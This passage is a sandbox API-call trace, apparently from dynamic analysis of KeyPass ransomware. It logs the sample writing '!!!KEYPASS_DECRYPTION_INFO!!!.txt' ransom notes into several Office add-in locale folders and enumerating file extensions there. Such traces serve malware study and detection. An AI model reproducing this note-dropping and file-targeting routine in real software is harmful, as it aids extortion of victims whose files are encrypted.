lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9a8 [0255.609] GetFileType (hFile=0x9a8) returned 0x1 [0255.609] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.609] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.609] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.609] WriteFile (in: hFile=0x9a8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.610] WriteFile (in: hFile=0x9a8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.610] CloseHandle (hObject=0x9a8) returned 1 [0255.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a178 [0255.610] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.612] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml") returned=".xml" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.613] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.613] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.614] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.614] FindNextFileW (in: hFindFile=0x3a0a178, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.614] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.614] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.614] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.614] GetLastError () returned 0x3f0 [0255.614] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.615] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b4 [0255.648] GetFileType (hFile=0x9b4) returned 0x1 [0255.648] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.648] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.648] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.649] WriteFile (in: hFile=0x9b4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.650] WriteFile (in: hFile=0x9b4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.650] CloseHandle (hObject=0x9b4) returned 1 [0255.650] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0ab38 [0255.650] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.703] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.703] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.703] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\LocalizedStrings.xml") returned=".xml" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.704] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0255.704] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0255.705] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0255.705] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0255.705] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0255.705] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.705] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0255.705] FindNextFileW (in: hFindFile=0x3a0ab38, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.705] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.705] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.705] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.705] GetLastError () returned 0x3f0 [0255.705] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.705] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9b8 [0255.706] GetFileType (hFile=0x9b8) returned 0x1 [0255.706] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.706] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.706] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.706] WriteFile (in: hFile=0x9b8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.707] WriteFile (in: hFile=0x9b8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.707] CloseHandle (hObject=0x9b8) returned 1 [0255.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0adf8 [0255.707] FindNextFileW (in: hFindFile=0x3a0adf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.707] FindNextFileW (in: hFindFile=0x3a0adf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.707] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.707] FindNextFileW (in: hFindFile=0x3a0adf8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0255.707] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0255.707] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0255.707] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0255.707] GetLastError () returned 0x3f0 [0255.707] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0255.707] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0255.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9bc [0255.711] GetFileType (hFile=0x9bc) returned 0x1 [0255.711] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0255.711] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0255.712] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0255.712] WriteFile (in: hFile=0x9bc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0255.712] WriteFile (in: hFile=0x9bc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0255.713] CloseHandle (hObject=0x9bc) returned 1 [0255.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3a0a938 [0255.713] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0255.716] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0255.716] FindNextFileW (in: hFindFile=0x3a0a938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 